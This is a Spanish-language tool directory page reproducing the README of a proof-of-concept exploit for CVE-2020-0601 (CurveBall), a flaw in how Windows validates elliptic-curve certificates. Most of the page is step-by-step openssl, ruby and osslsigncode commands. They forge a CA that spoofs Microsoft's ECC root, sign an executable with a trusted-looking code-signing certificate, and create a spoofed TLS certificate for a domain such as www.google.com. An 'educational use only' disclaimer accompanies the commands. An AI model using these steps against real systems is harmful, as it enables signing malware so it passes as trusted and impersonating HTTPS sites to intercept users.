Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
-CVE-2020-0601-ECC---EXPLOIT — CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, o comúnmente conocido como CurveBall, es una vulnerabilidad en la que la firma de los certificados que usan criptografía de curva elíptica (ECC) no se verifica correctamente. Los atacantes pueden proporcionar generadores hechos a mano, eludiendo la validación, el antivirus y todas las no-protecciones. | Kitploit
Herramientas/GitHubGitHub/iiictech/-cve-2020-0601-ecc---exploit
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónCriptografíaAprendizaje y EducaciónExplotación de Binarios
GitHubiiictech/-cve-2020-0601-ecc---exploit

-CVE-2020-0601-ECC---EXPLOIT

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

32hace 6 añosAún no revisado

CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, o comúnmente conocido como CurveBall, es una vulnerabilidad en la que la firma de los certificados que usan criptografía de curva elíptica (ECC) no se verifica correctamente. Los atacantes pueden proporcionar generadores hechos a mano, eludiendo la validación, el antivirus y todas las no-protecciones.

Compartir

CurveBall (CVE-2020-0601) - ECC/Po2 EXPLOIT

CVE-2020-0601, también conocido como CurveBall, es una vulnerabilidad en la que la firma de los certificados que usan criptografía de curva elíptica (ECC) no se verifica correctamente.

ECC depende de diferentes parámetros. Para muchas curvas se usan parámetros estandarizados. Sin embargo, Microsoft no verificó todos estos parámetros, como los genios que son... El parámetro G (el generador) NO se verificaba, y un atacante puede proporcionar un generador creado a medida, de modo que cuando Microsoft intente validar el certificado contra una CA de confianza, solo buscará claves públicas coincidentes, y luego ¡bum!, usará el generador del certificado.

La NSA explica claramente el impacto devastador de esta vulnerabilidad y más aquí. ¡Prepárate y manos a la obra!

MicrosoftECCProductRootCertificateAuthority.cer es, por defecto, una autoridad de certificación (CA) raíz de confianza que usa ECC en Windows 10. Por lo tanto, cualquier cosa firmada con este certificado será automáticamente de confianza.

Dicho sea, siempre están observando... así que Por favor, use esto solo con fines educativos y de investigación.

Requisitos mínimos openssl 1.1.0 ruby 2.4.0

Detalles matemáticos

Si estás interesado en los detalles matemáticos de la vulnerabilidad, lee más aquí.

Para falsificar el certificado, establece los siguientes parámetros:

root@kitploit:~
d' = 1
G' = Q

De modo que Q = Q' = d'G'.

Uso

Crea un certificado con la misma clave pública y los mismos parámetros que una CA de confianza. Este será nuestra CA falsificada. Establece el generador en un valor del que conozcas la clave privada. Puedes establecer fácilmente el generador como la clave pública y tener una clave privada establecida en 1, ya que Q = dG.

A continuación, crea una solicitud de firma de certificado (CSR) con las extensiones que desees usar, por ejemplo, firma de código o autenticación de servidor.

Firma esta solicitud de certificado con tu CA falsificada y la clave de la CA, y agrega las extensiones de uso.

Empaqueta la solicitud de certificado firmada (ahora un certificado normal) con la CA falsificada, y tendrás un certificado firmado y de confianza.

Cuando Windows verifique si el certificado es de confianza, verá que ha sido firmado por nuestra CA falsificada. Luego examina la clave pública de la CA falsificada para cotejarla con la de las CA de confianza. Entonces simplemente verifica la firma de nuestra CA falsificada con el generador de la CA falsificada: ese es el problema.

Si decides abrir tu nuevo certificado firmado y de confianza en Windows, no lo reconocerá como de confianza, ya que no ha sido vinculado a nada, por lo tanto no usará la CA falsificada. El certificado siempre debe presentarse junto con la CA falsificada.

Firma de código

Por favor, use esto solo con fines educativos y de investigación.

Extrae la clave pública de la CA y modifícala según la vulnerabilidad:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Genera un nuevo certificado x509 basado en esta clave. Este será nuestra propia CA falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Genera una nueva clave. Esta clave puede ser de cualquier tipo que desees. Se usará para crear un certificado de firma de código, que firmaremos con nuestra propia CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

A continuación, crea una nueva solicitud de firma de certificado (CSR). Esta solicitud normalmente se enviaría a CA de confianza, pero como tenemos una falsificada, podemos firmarla nosotros mismos.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Firma tu nueva CSR con nuestra CA falsificada y la clave de la CA. Este certificado caducará en 2047, mientras que la CA real de confianza de Microsoft caduca en 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Lo único que queda es empaquetar el certificado, su clave y la CA falsificada en un archivo PKCS12 para firmar ejecutables.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Firma tu ejecutable con el archivo PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

Por favor, use esto solo con fines educativos y de investigación. Extrae la clave pública de la CA y modifícala según la vulnerabilidad:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Genera un nuevo certificado x509 basado en esta clave. Este será nuestra propia CA falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Genera una nueva clave. Esta clave puede ser de cualquier tipo que desees. Se usará para crear un certificado SSL, que firmaremos con nuestra propia CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

A continuación, crea una nueva solicitud de firma de certificado (CSR). Esta solicitud normalmente se enviaría a CA de confianza, pero como tenemos una falsificada, podemos firmarla nosotros mismos.

Si deseas cambiar el nombre de dominio, edita CN = www.google.com a CN = www.example.com dentro de openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Firma tu nueva CSR con nuestra CA falsificada y la clave de la CA. Este certificado caducará en 2047, mientras que la CA real de confianza de Microsoft caduca en 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Ahora puedes usar cert.crt, cert.key y spoofed_ca.crt para servir tu contenido. Nuevamente, recuerda agregar spoofed_ca.crt como cadena de certificados en la configuración HTTPS de tu servidor.

Consulta el ejemplo de uso en [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).

Por favor, use esto solo con fines educativos y de investigación.

Descargar herramienta